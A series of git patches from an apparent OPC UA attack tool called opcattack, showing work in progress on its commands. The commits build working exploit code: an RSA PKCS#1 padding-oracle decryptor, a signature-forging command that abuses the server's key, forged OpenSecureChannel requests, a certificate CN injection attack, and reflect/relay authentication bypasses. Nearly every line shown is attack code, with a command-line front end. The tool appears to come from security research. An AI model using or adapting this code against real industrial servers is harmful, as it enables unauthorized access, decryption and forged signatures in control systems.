{ + 'opn' : (True, False), + 'password': (False, True), + 'try-both': (True, True), + }[args.padding_oracle_type] + decrypt_attack(args.url, unhexlify(args.ciphertext), opn, password) class SigForgeAttack(Attack): @@ -257,6 +262,8 @@ class SigForgeAttack(Attack): def add_arguments(self, aparser): aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), default='try-both', help='which PKCS#1 padding oracle to use; default: try-both') + aparser.add_argument('-H', '--hash-function', choices=('sha1', 'sha256'), default='sha256', + help='hash function to use in signature computation; default: sha256') aparser.add_argument('server-url', type=str, help='endpoint URL of the OPC UA server whose private key to spoof a signature with') aparser.add_argument('payload', type=str, @@ -268,7 +275,7 @@ def execute(self, args): 'password': (False, True), 'try-both': (True, True), }[args.padding_oracle_type] - forge_signature_attack(args.server_url, unhexlify(args.payload), opn, password) + forge_signature_attack(args.server_url, unhexlify(args.payload), opn, password, args.hash_function) class MitMAttack(Attack): subcommand = 'mitm' From ebf2ebc254a12e7220ed932c6e52dda2ae9a8424 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 18 Mar 2024 16:27:20 +0100 Subject: [PATCH 16/70] Sigforge command works now. --- attacks.py | 30 +++++++++++++++--------------- crypto.py | 2 +- opcattack.py | 4 ++-- 3 files changed, 18 insertions(+), 18 deletions(-) diff --git a/attacks.py b/attacks.py index 2ae58d0..a4bac7e 100644 --- a/attacks.py +++ b/attacks.py @@ -652,18 +652,6 @@ def pick_endpoint(clazz, endpoints): ep.transportProfileUri.endswith('uatcp-uasc-uabinary') ) ) - -def int2bytes(value : int, outlen : int) -> bytes: - # Coverts a nonnegative integer to a fixed-size big-endian binary representation. - result = [0] * outlen - j = value - for ix in reversed(range(0, outlen)): - result[ix] = j % 256 - j //= 256 - - if j != 0: - raise ValueError(f'{value} does not fit in {outlen} bytes.') - return bytes(result) # Carry out a padding oracle attack against a Basic128Rsa15 endpoint. # Result is ciphertext**d mod n (encoded big endian; any padding not removed). @@ -925,6 +913,18 @@ def decrypt_attack(url : str, ciphertext : bytes, try_opn : bool, try_password : except: pass +def int2bytes(value : int, outlen : int) -> bytes: + # Coverts a nonnegative integer to a fixed-size big-endian binary representation. + result = [0] * outlen + j = value + for ix in reversed(range(0, outlen)): + result[ix] = j % 256 + j //= 256 + + if j != 0: + raise ValueError(f'{value} does not fit in {outlen} bytes.') + return bytes(result) + def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_password : bool, hasher : str) -> bytes: # Use padding oracle to forge an RSA PKCS#1 signature on some arbitrary payload. @@ -933,13 +933,13 @@ def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_passw oracle, endpoint = find_padding_oracle(url, try_opn, try_password) # Compute padded hash to be used as 'ciphertext'. - sizsize = certificate_publickey(endpoint.serverCertificate).size_in_bytes() + sigsize = certificate_publickey(endpoint.serverCertificate).size_in_bytes() padhash = pkcs1v15_signature_encode(hasher, payload, sigsize) - log(f'Padded hash of payload: {hexlify(padhash)}') + log(f'Padded hash of payload: {hexlify(padhash).decode()}') log(f'Starting padding oracle attack...') sig = rsa_decryptor(oracle, endpoint.serverCertificate, padhash) log_success(f'Succes! Forged signature:') - log_success(hexlify(sig)) + log_success(hexlify(sig).decode()) return sig def inject_cn_attack(url : str, cn : str, second_login : bool, demo : bool): diff --git a/crypto.py b/crypto.py index 33e5791..0131bf2 100644 --- a/crypto.py +++ b/crypto.py @@ -206,4 +206,4 @@ def pkcs1v15_signature_encode(hasher, msg, outlen): mhash = hashlib.new(hasher, msg).digest() suffix = PKCS_HASH_IDS[hasher] + mhash padding = b'\xff' * (outlen - len(suffix) - 3) - return int2bytes(b'\x00\x01' + padding + b'\x00' + suffix, outlen) \ No newline at end of file + return b'\x00\x01' + padding + b'\x00' + suffix \ No newline at end of file diff --git a/opcattack.py b/opcattack.py index c5743a4..d674604 100755 --- a/opcattack.py +++ b/opcattack.py @@ -264,7 +264,7 @@ def add_arguments(self, aparser): help='which PKCS#1 padding oracle to use; default: try-both') aparser.add_argument('-H', '--hash-function', choices=('sha1', 'sha256'), default='sha256', help='hash function to use in signature computation; default: sha256') - aparser.add_argument('server-url', type=str, + aparser.add_argument('url', type=str, help='endpoint URL of the OPC UA server whose private key to spoof a signature with') aparser.add_argument('payload', type=str, help='hex-encoded payload to spoof a signature on') @@ -275,7 +275,7 @@ def execute(self, args): 'password': (False, True), 'try-both': (True, True), }[args.padding_oracle_type] - forge_signature_attack(args.server_url, unhexlify(args.payload), opn, password, args.hash_function) + forge_signature_attack(args.url, unhexlify(args.payload), opn, password, args.hash_function) class MitMAttack(Attack): subcommand = 'mitm' From ea5d4867f3dabb8cce96e15695424b638622dba1 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Tue, 19 Mar 2024 11:06:58 +0100 Subject: [PATCH 17/70] Stable version of tool. Following commands work properly: - reflect (but --bypass-opn not yet implemented) - relay (same) - decrypt - inject-cn (certificate is submitted, but didn't test demo function yet in case bypass succeeds) - sigforge (but result may still be incorrect) --- README.md | 1 + attacks.py | 51 +++++++++++++++++++++++++++++++++++++++++++++++++-- crypto.py | 6 +++--- messages.py | 2 +- opcattack.py | 13 ++++++++++--- 5 files changed, 64 insertions(+), 9 deletions(-) create mode 100644 README.md diff --git a/README.md b/README.md new file mode 100644 index 0000000..e6d2425 --- /dev/null +++ b/README.md @@ -0,0 +1 @@ +No README yet. But you can run `./opcattack.py -h` to get an overview of the tool's capabilities. Install dependencies via `pip install -r requirements.txt`. \ No newline at end of file diff --git a/attacks.py b/attacks.py index a4bac7e..dda5dc9 100644 --- a/attacks.py +++ b/attacks.py @@ -27,6 +27,9 @@ def log_success(msg : str): # Self signed certificate template (DER encoded) used for path injection attack. SELFSIGNED_CERT_TEMPLATE = b64decode('MIIE6TCCA9GgAwIBAgIKEtz1iOEt2W2zvjANBgkqhkiG9w0BAQsFADB9MSAwHgYKCZImiZPyLGQBGRMQdHRlcnZvb3J0LXNlY3VyYTEXMBUGA1UEChMOT1BDIEZvdW5kYXRpb24xEDAOBgNVBAgTB0FyaXpvbmExCzAJBgNVBAYTAlVTMSEwHwYDVQQDExhDb25zb2xlIFJlZmVyZW5jZSBDbGllbnQwHhcNMjQwMzEwMDAwMDAwWhcNMjUwMzEwMDAwMDAwWjB9MSAwHgYKCZImiZPyLGQBGRMQdHRlcnZvb3J0LXNlY3VyYTEXMBUGA1UEChMOT1BDIEZvdW5kYXRpb24xEDAOBgNVBAgTB0FyaXpvbmExCzAJBgNVBAYTAlVTMSEwHwYDVQQDExhDb25zb2xlIFJlZmVyZW5jZSBDbGllbnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCVZar5gJGUm88hIcuTautbRnZ/TvBx4nezaab9djeHTCmx0EezCS/2LSAnCv3uYumvpvd5s03eEPfQ0s26wKqgUj4eKCn2XTukaORJu/jb9mGoD40bRwrMDMxW5CpHZ0xFgnyKHb3QbzzvwFwGTx1bXGz9xMe+J9r5mNzsHVZ46aVOScOrF44ZyRwbNkWAhIiXKgrJoHLKA6LN6iBA+kkKTZc7q+GsoEM5O4pwAXATqMGmsFaV/I05x7CckrNgUVZfT2PwwRMZ1hKITu1Z/Jti6dUzxyF5qWFoL5TDNKFQYPtR13LaQpQkzUqkw8VkUeBiT+hFsiT4GkYuo9Emv9TxAgMBAAGjggFpMIIBZTAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTJcPReZqL1YOptopao2c+m/nvp8DCBsQYDVR0jBIGpMIGmgBTJcPReZqL1YOptopao2c+m/nvp8KGBgaR/MH0xIDAeBgoJkiaJk/IsZAEZExB0dGVydm9vcnQtc2VjdXJhMRcwFQYDVQQKEw5PUEMgRm91bmRhdGlvbjEQMA4GA1UECBMHQXJpem9uYTELMAkGA1UEBhMCVVMxITAfBgNVBAMTGENvbnNvbGUgUmVmZXJlbmNlIENsaWVudIIKEtz1iOEt2W2zvjAOBgNVHQ8BAf8EBAMCAvQwIAYDVR0lAQH/BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMFAGA1UdEQRJMEeGM3Vybjp0dGVydm9vcnQtc2VjdXJhOlVBOlF1aWNrc3RhcnRzOlJlZmVyZW5jZUNsaWVudIIQdHRlcnZvb3J0LXNlY3VyYTANBgkqhkiG9w0BAQsFAAOCAQEAjw9zu/9SPD6iOex67jS/xaKc7JhWTa7JBZjY7xPYEhnxSwkyMW7I8AkAK/d5w9/WJl0I2dTlZ8ftKKUFjOV7TrNhT2TNuYVqq9OZQhJYKEPmfUhb5oAHqGLWCixyDfiez69hLii0QT5qVYi5rR5S+C0KQ3uNXRt3subM3edND9LSuUc3DTfc2r6ZFQ9SR0Y0BCf3gLyB7VPrVKxpKspNjTv/5y3dSI4q1VNA+q8OaXxSVUVlTN/Nlg8euWELiHeGGHu3EKqje1swN4cLXoSWfhn6qW/x/PvcUZMvK2xrukrR1f1SR/R9gZm0SKeEEq0nRrn1ASPB5sMtOWPxdruSKA==') +# Fixed clientNonce value used within spoofed OpenSecureChannel requests. +SPOOFED_OPN_NONCE = unhexlify('1337133713371337133713371337133713371337133713371337133713371337') + # Thrown when an attack was not possible due to a configuration that is not vulnerable to it (other exceptions indicate # unexpected errors, which can have all kinds of causes). class AttackNotPossible(Exception): @@ -947,7 +950,7 @@ def inject_cn_attack(url : str, cn : str, second_login : bool, demo : bool): mycert, privkey = selfsign_cert(SELFSIGNED_CERT_TEMPLATE, cn, datetime.now() + timedelta(days=100)) log(f'Generated self-signed certificate with CN {cn}.') - log(f'SHA-1 thumbprint: {hexlify(certificate_thumbprint(mycert))}') + log(f'SHA-1 thumbprint: {hexlify(certificate_thumbprint(mycert)).decode().upper()}') endpoints = get_endpoints(url) log(f'Server advertises {len(endpoints)} endpoints.') @@ -1024,6 +1027,50 @@ def trylogin(): demonstrate_access(*chantoken, ep.securityPolicyUri) +def forge_opn_request(endpoint : endpointDescription.Type, opn_oracle : bool, password_oracle : bool) -> OpenSecureChannelMessage: + # Use the padding oracle attack to forge a (reusable) signed and encrypted OPN request. + sp = endpoint.securityPolicyUri + pk = certificate_publickey(endpoint.serverCertificate) + assert sp != SecurityPolicy.NONE + + plaintext = encodedConversation.to_bytes(encodedConversation.create( + sequenceNumber=1, + requestId=1, + requestOrResponse=openSecureChannelRequest.to_bytes(openSecureChannelRequest.create( + requestHeader=simple_requestheader(), + clientProtocolVersion=0, + requestType=SecurityTokenRequestType.ISSUE, + securityMode=endpoint.securityMode, + clientNonce=SPOOFED_OPN_NONCE, + requestedLifetime=3600000, + )) + )) + msg = OpenSecureChannelMessage( + secureChannelId=0, + securityPolicyUri=sp, + senderCertificate=client_certificate, + receiverCertificateThumbprint=certificate_thumbprint(endpoint.serverCertificate), + encodedPart=plaintext + ) + padded_msg = pkcs7_pad(msg.to_bytes(), rsa_plainblocksize(sp, pk)) + + log('First, trying sigforge attack to produce OPN signature.') + hasher = 'sha1' if sp in [SecurityPolicy.BASIC128RSA15, SecurityPolicy.BASIC256] else 'sha256' + forge_signature_attack(endpoint.endpointUrl, padded_msg, opn_oracle, password_oracle, hasher) + + msg.encodedPart = b'' + ciphertext = rsa_ecb_encrypt(sp, pk, padded_msg[len(msg.to_bytes()):] + signature) + msg.encodedPart = ciphertext + log(f'Message bytes after applying encryption: {hexlify(msg.to_bytes()).decode()}') + + return msg + +# def bypass_opn(endpoint : endpointDescription.Type, opn_oracle : bool, password_oracle : bool) -> ChannelState: +# # Attempts to set up a security channel without knowing the private key, by exploiting a padding oracle twice. +# ..... + + + def oracletest(): # Password token: todecrypt = unhexlify('9e82001c5a9b0d4ec8ed921af69659d8a3c8909bdb3be7bbf2f09a2321256deda98779fe8c182f476b06cf9592f2974b93a04fdbce82db34c2985c59ab71cce0f0987a35f2a4e0958411d40de4073ba00d223e5332ecaab0d5a850a1c97610cb2e42c7675d6a8eb3319ba95aabbed51014687bdf0edd417b47df2b4f348b6539ed1aa7bae5a4bd76ffe475a6d0ea54e51399996485c582615f55296411417f7c6db5aa8796653c47e503a00ce72a7e96e7c69ac52f5f200153cb585c6dc4119962ac004433da24f2347e75ee5fda60b507fde6c9197ad7f0aca65f3b6f91b51c8b0b501549aa10368ae7c4a2e2aeee1bb81bff8e3e6a9be7aa09b999ac641bc7') @@ -1038,7 +1085,7 @@ def oracletest(): oracle = PasswordPaddingOracle(ep) # print(repr(oracle.query(todecrypt))) # print(padding_oracle_quality(ep.serverCertificate, oracle)) - print(hexlify(rsa_decryptor(oracle, ep.serverCertificate, todecrypt))) + print(hexlify(rsa_decryptor(oracle, ep.serverCertificate, todecrypt))) # if __name__ == '__main__': diff --git a/crypto.py b/crypto.py index 0131bf2..8fba7d6 100644 --- a/crypto.py +++ b/crypto.py @@ -25,7 +25,7 @@ def rsa_sign(policy: SecurityPolicy, privkey : RsaKey, message : bytes) -> bytes SecurityPolicy.AES256_SHA256_RSAPSS : (SHA256, pss), }[policy] - return signer.new().sign(hasher.new(message)) + return signer.new(privkey).sign(hasher.new(message)) def rsa_plainblocksize(policy: SecurityPolicy, key : RsaKey) -> int: @@ -90,7 +90,6 @@ def prf(hasher : str, secret : bytes, seed : bytes, outlen : int) -> bytes: result += kdf(aval + seed) return result[:outlen] - def deriveKeyMaterial(policy: SecurityPolicy, clientNonce : bytes, serverNonce : bytes) -> SessionCrypto: ivlen = 16 @@ -193,11 +192,12 @@ def selfsign_cert(template : bytes, cn : str, expiry : datetime) -> tuple[bytes, def decode_oaep_padding(payload : bytes, hashfunc : str) -> Optional[bytes]: # Returns None if padding is invalid. - raise Exception('TODO: implement OAEP unpadding.') + raise Exception('TODO: implement OAEP padding decoding.') def pkcs1v15_signature_encode(hasher, msg, outlen): # RFC 3447 signature encoding. PKCS_HASH_IDS = { + # TODO: sha1 'sha256': b'\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20', 'sha384': b'\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30', 'sha512': b'\x30\x51\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x03\x05\x00\x04\x40', diff --git a/messages.py b/messages.py index 6d6158e..a0b0ef5 100644 --- a/messages.py +++ b/messages.py @@ -42,7 +42,7 @@ def to_bytes(self, chunksize : int = -1) -> bytes: def from_bytes(self, reader : BinaryIO): # Note: when this throws a ServerError the message is still consumed in its entirety from the reader. - mtype = reader.read(3) + mtype = reader.read(3) decodecheck(mtype == self.messagetype.encode() or mtype == b'ERR', 'Unexpected message type') body = b'' diff --git a/opcattack.py b/opcattack.py index d674604..191030b 100755 --- a/opcattack.py +++ b/opcattack.py @@ -44,7 +44,7 @@ def execute(self, args : Namespace): class CheckAttack(Attack): subcommand = 'check' - short_help = 'evaluate whether attacks apply to server' + short_help = 'evaluate whether attacks apply to server (TODO)' long_help = """ Simply requests a list of endpoints from the server, and report which attacks may be applicable based on their configuration. This does not prove the endpoints are vulnerable, but helps testing a connection and determining which @@ -115,6 +115,8 @@ def add_arguments(self, aparser): def execute(self, args): # TODO: padding oracle options + if args.bypass_opn: + raise Exception('TODO: implement --bypass-opn option') reflect_attack(args.url, not args.no_demo) class RelayAttack(Attack): @@ -148,6 +150,8 @@ def add_arguments(self, aparser): def execute(self, args): # TODO: padding oracle options + if args.bypass_opn: + raise Exception('TODO: implement --bypass-opn option') relay_attack(getattr(args, 'server-a'), getattr(args, 'server-b'), not args.no_demo) class PathInjectAttack(Attack): @@ -179,6 +183,7 @@ def add_arguments(self, aparser): help='don\'t dump server contents when an authentication bypass worked') aparser.add_argument('url', type=str, help='Target server OPC URL (either opc.tcp:// or https:// protocol)') + # TODO: some way to exploit AFW better by controlling certificate content def execute(self, args): @@ -186,7 +191,7 @@ def execute(self, args): class NoAuthAttack(Attack): subcommand = 'auth-check' - short_help = 'tests if server allows unauthenticated access' + short_help = 'tests if server allows unauthenticated access (TODO)' long_help = """ This is not a new attack. Just a simple check to see whether a server allows anonymous access without authentication; either via the None policy or by automatically accepting untrusted certificates. @@ -270,6 +275,7 @@ def add_arguments(self, aparser): help='hex-encoded payload to spoof a signature on') def execute(self, args): + # TODO: bugfix opn, password = { 'opn' : (True, False), 'password': (False, True), @@ -279,7 +285,7 @@ def execute(self, args): class MitMAttack(Attack): subcommand = 'mitm' - short_help = 'TODO: active MitM attack on an intercepted client-server connection' + short_help = 'active MitM attack on an intercepted client-server connection (TODO)' long_help = """ TODO """.strip() @@ -291,6 +297,7 @@ def execute(self, args): raise Exception('TODO: implement') ENABLED_ATTACKS = [ + CheckAttack(), ReflectAttack(), RelayAttack(), PathInjectAttack(), From b4c60f9b5c886bb2d0f9c9fdc0cba53355c08794 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Tue, 19 Mar 2024 11:40:27 +0100 Subject: [PATCH 18/70] Fixed sigforge bug. --- attacks.py | 2 +- crypto.py | 1 + opcattack.py | 1 - 3 files changed, 2 insertions(+), 2 deletions(-) diff --git a/attacks.py b/attacks.py index dda5dc9..6a3b6ec 100644 --- a/attacks.py +++ b/attacks.py @@ -760,7 +760,7 @@ def query(candidate): a, b = next(iter(M_i)) if a == b: print('', file=sys.stderr, flush=True) - m = a * pow(s0, n - 2, n) % n + m = a * pow(s0, -1, n) % n return bytes([(m >> bits) & 0xff for bits in reversed(range(0, k, 8))]) i += 1 diff --git a/crypto.py b/crypto.py index 8fba7d6..01d4289 100644 --- a/crypto.py +++ b/crypto.py @@ -198,6 +198,7 @@ def pkcs1v15_signature_encode(hasher, msg, outlen): # RFC 3447 signature encoding. PKCS_HASH_IDS = { # TODO: sha1 + 'sha1': b'\x30\x21\x30\x09\x06\x05\x2b\x0e\x03\x02\x1a\x05\x00\x04\x14', 'sha256': b'\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20', 'sha384': b'\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30', 'sha512': b'\x30\x51\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x03\x05\x00\x04\x40', diff --git a/opcattack.py b/opcattack.py index 191030b..731a7b1 100755 --- a/opcattack.py +++ b/opcattack.py @@ -275,7 +275,6 @@ def add_arguments(self, aparser): help='hex-encoded payload to spoof a signature on') def execute(self, args): - # TODO: bugfix opn, password = { 'opn' : (True, False), 'password': (False, True), From 5aef9404c52f1a95dd7abf72d706127f26d0feb2 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Tue, 19 Mar 2024 13:45:09 +0100 Subject: [PATCH 19/70] Fixed OPC handshake crypto. TODO: fix session crypto. --- attacks.py | 46 ++++++++++++++++++++++++++++++++-------------- crypto.py | 2 +- requirements.txt | 10 ++++++++++ 3 files changed, 43 insertions(+), 15 deletions(-) create mode 100644 requirements.txt diff --git a/attacks.py b/attacks.py index 6a3b6ec..b832e79 100644 --- a/attacks.py +++ b/attacks.py @@ -24,6 +24,10 @@ def log(msg : str): def log_success(msg : str): print(f'[+] {msg}') +# Integer division that rounds the result up. +def ceildiv(a,b): + return a // b + (a % b and 1) + # Self signed certificate template (DER encoded) used for path injection attack. SELFSIGNED_CERT_TEMPLATE = b64decode('MIIE6TCCA9GgAwIBAgIKEtz1iOEt2W2zvjANBgkqhkiG9w0BAQsFADB9MSAwHgYKCZImiZPyLGQBGRMQdHRlcnZvb3J0LXNlY3VyYTEXMBUGA1UEChMOT1BDIEZvdW5kYXRpb24xEDAOBgNVBAgTB0FyaXpvbmExCzAJBgNVBAYTAlVTMSEwHwYDVQQDExhDb25zb2xlIFJlZmVyZW5jZSBDbGllbnQwHhcNMjQwMzEwMDAwMDAwWhcNMjUwMzEwMDAwMDAwWjB9MSAwHgYKCZImiZPyLGQBGRMQdHRlcnZvb3J0LXNlY3VyYTEXMBUGA1UEChMOT1BDIEZvdW5kYXRpb24xEDAOBgNVBAgTB0FyaXpvbmExCzAJBgNVBAYTAlVTMSEwHwYDVQQDExhDb25zb2xlIFJlZmVyZW5jZSBDbGllbnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCVZar5gJGUm88hIcuTautbRnZ/TvBx4nezaab9djeHTCmx0EezCS/2LSAnCv3uYumvpvd5s03eEPfQ0s26wKqgUj4eKCn2XTukaORJu/jb9mGoD40bRwrMDMxW5CpHZ0xFgnyKHb3QbzzvwFwGTx1bXGz9xMe+J9r5mNzsHVZ46aVOScOrF44ZyRwbNkWAhIiXKgrJoHLKA6LN6iBA+kkKTZc7q+GsoEM5O4pwAXATqMGmsFaV/I05x7CckrNgUVZfT2PwwRMZ1hKITu1Z/Jti6dUzxyF5qWFoL5TDNKFQYPtR13LaQpQkzUqkw8VkUeBiT+hFsiT4GkYuo9Emv9TxAgMBAAGjggFpMIIBZTAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTJcPReZqL1YOptopao2c+m/nvp8DCBsQYDVR0jBIGpMIGmgBTJcPReZqL1YOptopao2c+m/nvp8KGBgaR/MH0xIDAeBgoJkiaJk/IsZAEZExB0dGVydm9vcnQtc2VjdXJhMRcwFQYDVQQKEw5PUEMgRm91bmRhdGlvbjEQMA4GA1UECBMHQXJpem9uYTELMAkGA1UEBhMCVVMxITAfBgNVBAMTGENvbnNvbGUgUmVmZXJlbmNlIENsaWVudIIKEtz1iOEt2W2zvjAOBgNVHQ8BAf8EBAMCAvQwIAYDVR0lAQH/BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMFAGA1UdEQRJMEeGM3Vybjp0dGVydm9vcnQtc2VjdXJhOlVBOlF1aWNrc3RhcnRzOlJlZmVyZW5jZUNsaWVudIIQdHRlcnZvb3J0LXNlY3VyYTANBgkqhkiG9w0BAQsFAAOCAQEAjw9zu/9SPD6iOex67jS/xaKc7JhWTa7JBZjY7xPYEhnxSwkyMW7I8AkAK/d5w9/WJl0I2dTlZ8ftKKUFjOV7TrNhT2TNuYVqq9OZQhJYKEPmfUhb5oAHqGLWCixyDfiez69hLii0QT5qVYi5rR5S+C0KQ3uNXRt3subM3edND9LSuUc3DTfc2r6ZFQ9SR0Y0BCf3gLyB7VPrVKxpKspNjTv/5y3dSI4q1VNA+q8OaXxSVUVlTN/Nlg8euWELiHeGGHu3EKqje1swN4cLXoSWfhn6qW/x/PvcUZMvK2xrukrR1f1SR/R9gZm0SKeEEq0nRrn1ASPB5sMtOWPxdruSKA==') @@ -134,7 +138,7 @@ def unencrypted_opn(sock: socket) -> ChannelState: crypto=None, ) -# Do a OPN protocol with a certificate and private key. +# Do an OPN protocol handshake with a certificate and private key. def authenticated_opn(sock : socket, endpoint : endpointDescription.Type, client_certificate : bytes, privkey : RsaKey) -> ChannelState: sp = endpoint.securityPolicyUri pk = certificate_publickey(endpoint.serverCertificate) @@ -162,15 +166,28 @@ def authenticated_opn(sock : socket, endpoint : endpointDescription.Type, client receiverCertificateThumbprint=certificate_thumbprint(endpoint.serverCertificate), encodedPart=plaintext ) - padded_msg = pkcs7_pad(msg.to_bytes(), rsa_plainblocksize(sp, pk)) - signature = rsa_sign(sp, privkey, padded_msg) - msg.encodedPart = b'' - ciphertext = rsa_ecb_encrypt(sp, pk, padded_msg[len(msg.to_bytes()):] + signature) - msg.encodedPart = ciphertext + # Some length calculations. + cipherblocksize = pk.size_in_bytes() + base_msglen = len(msg.to_bytes()) + plainblocksize = rsa_plainblocksize(sp, pk) + padbyte = plainblocksize - (base_msglen + 1) % plainblocksize + padding = (padbyte + 1) * bytes([padbyte]) # Redundant padding byte is a weird OPC thing + ctextsize = (len(plaintext) + len(padding) + cipherblocksize) // plainblocksize * cipherblocksize + + # Add padding and adjust length to obtain signature input. + msg.encodedPart = plaintext + padding + siginput = msg.to_bytes() + siginput = siginput[:4] + IntField().to_bytes(len(siginput) - len(plaintext) - len(padding) + ctextsize) + siginput[8:] + signature = rsa_sign(sp, privkey, siginput) + + # Encrypt plaintext, padding and signature. + print(hexlify(plaintext + padding + signature)) + msg.encodedPart = rsa_ecb_encrypt(sp, pk, plaintext + padding + signature) + assert len(msg.encodedPart) == ctextsize replymsg = opc_exchange(sock, msg) - convrep, _ = encodedConversation.from_bytes(rsa_ecb_decrypt(sp, privkey, reply.encodedPart)) + convrep, _ = encodedConversation.from_bytes(rsa_ecb_decrypt(sp, privkey, replymsg.encodedPart)) resp, _ = openSecureChannelResponse.from_bytes(convrep.requestOrResponse) return ChannelState( @@ -198,10 +215,14 @@ def session_exchange(channel : ChannelState, crypto = channel.crypto if crypto: + raise Exception('TODO: bugfix session crypto') # Add padding and signing into encoded message. - msgbytes = msg.to_bytes() - padding = pkcs7_pad(msgbytes)[len(msgbytes):] - mac = sha_hmac(crypto.policy, crypto.clientKeys.signingKey, msgbytes + padding) + basemsg = msg.to_bytes() + padbyte = 16 - (len(basemsg) + 1) % 16 + padding = (padbyte + 1) * bytes([padbyte]) + macinput = basemsg + padding + macinput = macinput[:4] + IntField().to_bytes(len(macinput) + macsize(crypto.policy)) + macinput[8:] + mac = sha_hmac(crypto.policy, crypto.clientKeys.signingKey, macinput + padding) plaintext = msg.encodedPart + padding + mac # Encrypt encoded part. @@ -212,7 +233,7 @@ def session_exchange(channel : ChannelState, if crypto: # Decrypt. - plaintext = aes_cbc_encrypt(crypto.serverKeys.encryptionKey, crypto.serverKeys.iv, reply.encodedPart) + plaintext = aes_cbc_decrypt(crypto.serverKeys.encryptionKey, crypto.serverKeys.iv, reply.encodedPart) # Remove signature and padding. Don't bother to validate. decodedPart = pkcs7_unpad(plaintext[:macsize(crypto.policy)]) @@ -696,9 +717,6 @@ def query(candidate): return result - # Division helper. - ceildiv = lambda a,b: a // b + (a % b and 1) - # Step 1: blinding. Find a random blind that makes the padding valid. Searching can be skipped if the ciphertext # already has valid padding. # print('step 1') diff --git a/crypto.py b/crypto.py index 01d4289..6743e5e 100644 --- a/crypto.py +++ b/crypto.py @@ -106,7 +106,7 @@ def oneside(secret, seed): return OneSideSessionKeys( signingKey=keydata[0:siglen], encryptionKey=keydata[siglen:siglen+enclen], - iv=keydata[siglen+enclen:ivlen], + iv=keydata[siglen+enclen:siglen+enclen+ivlen], ) return SessionCrypto( diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..bfef1e6 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,10 @@ +certifi==2024.2.2 +cffi==1.16.0 +charset-normalizer==3.3.2 +cryptography==42.0.5 +idna==3.6 +pycparser==2.21 +pycryptodome==3.20.0 +pyOpenSSL==24.1.0 +requests==2.31.0 +urllib3==2.2.1 From bf3efae19164cb967e177c5a20d0094e81996a5e Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Tue, 19 Mar 2024 14:29:28 +0100 Subject: [PATCH 20/70] Working on signature fix. --- attacks.py | 31 ++++++++++++------------------- messages.py | 37 +++++++++++++++++++++++++++++++++++++ 2 files changed, 49 insertions(+), 19 deletions(-) diff --git a/attacks.py b/attacks.py index b832e79..4c251bd 100644 --- a/attacks.py +++ b/attacks.py @@ -167,25 +167,14 @@ def authenticated_opn(sock : socket, endpoint : endpointDescription.Type, client encodedPart=plaintext ) - # Some length calculations. - cipherblocksize = pk.size_in_bytes() - base_msglen = len(msg.to_bytes()) - plainblocksize = rsa_plainblocksize(sp, pk) - padbyte = plainblocksize - (base_msglen + 1) % plainblocksize - padding = (padbyte + 1) * bytes([padbyte]) # Redundant padding byte is a weird OPC thing - ctextsize = (len(plaintext) + len(padding) + cipherblocksize) // plainblocksize * cipherblocksize - - # Add padding and adjust length to obtain signature input. - msg.encodedPart = plaintext + padding - siginput = msg.to_bytes() - siginput = siginput[:4] + IntField().to_bytes(len(siginput) - len(plaintext) - len(padding) + ctextsize) + siginput[8:] - signature = rsa_sign(sp, privkey, siginput) - - # Encrypt plaintext, padding and signature. - print(hexlify(plaintext + padding + signature)) - msg.encodedPart = rsa_ecb_encrypt(sp, pk, plaintext + padding + signature) - assert len(msg.encodedPart) == ctextsize - + # Apply signing and encryption. + msg.sign_and_encrypt( + signer=lambda data: rsa_sign(sp, privkey, data), + encrypter=lambda ptext: rsa_ecb_encrypt(sp, pk, ptext), + plainblocksize=rsa_plainblocksize(sp, pk), + cipherblocksize=pk.size_in_bytes(), + sigsize=pk.size_in_bytes(), + ) replymsg = opc_exchange(sock, msg) convrep, _ = encodedConversation.from_bytes(rsa_ecb_decrypt(sp, privkey, replymsg.encodedPart)) resp, _ = openSecureChannelResponse.from_bytes(convrep.requestOrResponse) @@ -215,6 +204,9 @@ def session_exchange(channel : ChannelState, crypto = channel.crypto if crypto: + + + raise Exception('TODO: bugfix session crypto') # Add padding and signing into encoded message. basemsg = msg.to_bytes() @@ -1070,6 +1062,7 @@ def forge_opn_request(endpoint : endpointDescription.Type, opn_oracle : bool, pa receiverCertificateThumbprint=certificate_thumbprint(endpoint.serverCertificate), encodedPart=plaintext ) + raise Exception('TODO: fix padding') padded_msg = pkcs7_pad(msg.to_bytes(), rsa_plainblocksize(sp, pk)) log('First, trying sigforge attack to produce OPN signature.') diff --git a/messages.py b/messages.py index a0b0ef5..fefa8a0 100644 --- a/messages.py +++ b/messages.py @@ -82,6 +82,43 @@ def get_field_location(self, fieldname : str) -> int: raise Exception(f'Field {fieldname} does not exist.') + def sign_and_encrypt(self, + signer : Callable[[bytes], bytes], encrypter : Optional[Callable[[bytes], bytes]], + plainblocksize : int, cipherblocksize : int, sigsize : int + ): + '''Applies OPC's weird padding scheme and sign/encrypt combo to TrailingBytes of the message.''' + + trailname, trailtype = self.fields[-1] + assert isinstance(trailtype, TrailingBytes) + plaintext = getattr(self, trailname) + + # Length calculations. + base_msglen = len(self.to_bytes()) + 